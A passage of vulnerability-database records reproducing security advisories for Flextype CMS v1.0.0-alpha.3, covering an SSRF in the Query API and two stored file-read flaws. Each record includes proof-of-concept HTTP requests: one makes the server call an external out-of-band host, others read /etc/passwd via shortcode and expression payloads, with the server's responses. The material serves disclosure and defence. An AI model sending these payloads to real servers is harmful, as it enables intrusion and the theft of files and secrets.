list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:02Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/27"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/27"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0002",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
"automated": true,
"contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T12:33:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:02Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0002"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0009
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.
The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.
The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact
Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.
Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.
Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.
The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()
The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.
An authenticated attacker can provide an attacker-controlled URL to this
function.
The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
The server responds with the result of the outbound request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
The returned data identifies the destination as a Burp Collaborator server:
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Additionally, the destination's response body is returned through Flextype:
<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/21"
},
{
"url": "http://042--snip--.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/"
},
{
"url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/21"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0009",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
"automated": true,
"contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:16:22Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0009"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0013
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.
The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.
An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.
Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact
An attacker can retrieve arbitrary files readable by the Flextype PHP
process.
Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.
Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing
Entry fields are passed to the shortcode parser:
if (is_string($field['value'])) {
if (strings($field['value'])->contains('@shortcodes')) {
$field['value'] = strings(
parsers()->shortcodes()->parse($field['value'])
)->replace('@shortcodes', '')->trim()->toString();
} elseif (
registry()->get(
'flextype.settings.entries.directives.shortcodes.enabled_globally'
)
) {
$field['value'] = parsers()->shortcodes()->parse($field['value']);
}
}
Filesystem Shortcode
The filesystem shortcode accepts the supplied file parameter and returns
its contents:
if (
collection(array_keys($params))
->filter(static fn ($v) => $v === 'get')
->count() > 0 &&
isset($params['file']) &&
registry()->get(
'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
) === true
) {
$file = parsers()->shortcodes()->parse($params['file']);
return filesystem()->file($file)->exists()
? filesystem()->file($file)->get()
: '';
}
No filesystem containment restriction is applied to $file before it is read.
Proof of Concept
The following entry contains a filesystem shortcode targeting /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}
Flextype returned the contents of /etc/passwd within the processed title:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
The stored entry was subsequently requested normally:
GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause
The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.
The affected code ultimately performs:
filesystem()->file($file)->get()
without verifying that the canonicalized path resides within an explicitly
permitted directory.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n $field[\u0027value\u0027] = strings(\n parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n } elseif (\n registry()-\u003eget(\n \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n )\n ) {\n $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n collection(array_keys($params))\n -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n -\u003ecount() \u003e 0 \u0026\u0026\n isset($params[\u0027file\u0027]) \u0026\u0026\n registry()-\u003eget(\n \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n ) === true\n) {\n $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n return filesystem()-\u003efile($file)-\u003eexists()\n ? filesystem()-\u003efile($file)-\u003eget()\n : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/25"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/25"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0013",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
"automated": true,
"contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:55:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0013"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0008
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
